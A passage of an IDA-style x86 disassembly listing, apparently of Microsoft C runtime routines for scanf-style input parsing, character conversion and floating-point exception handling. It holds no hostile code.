loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9D8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBE4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBE4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBE4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBE4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBE4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9D8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D350, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB958, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D350, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2670391h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
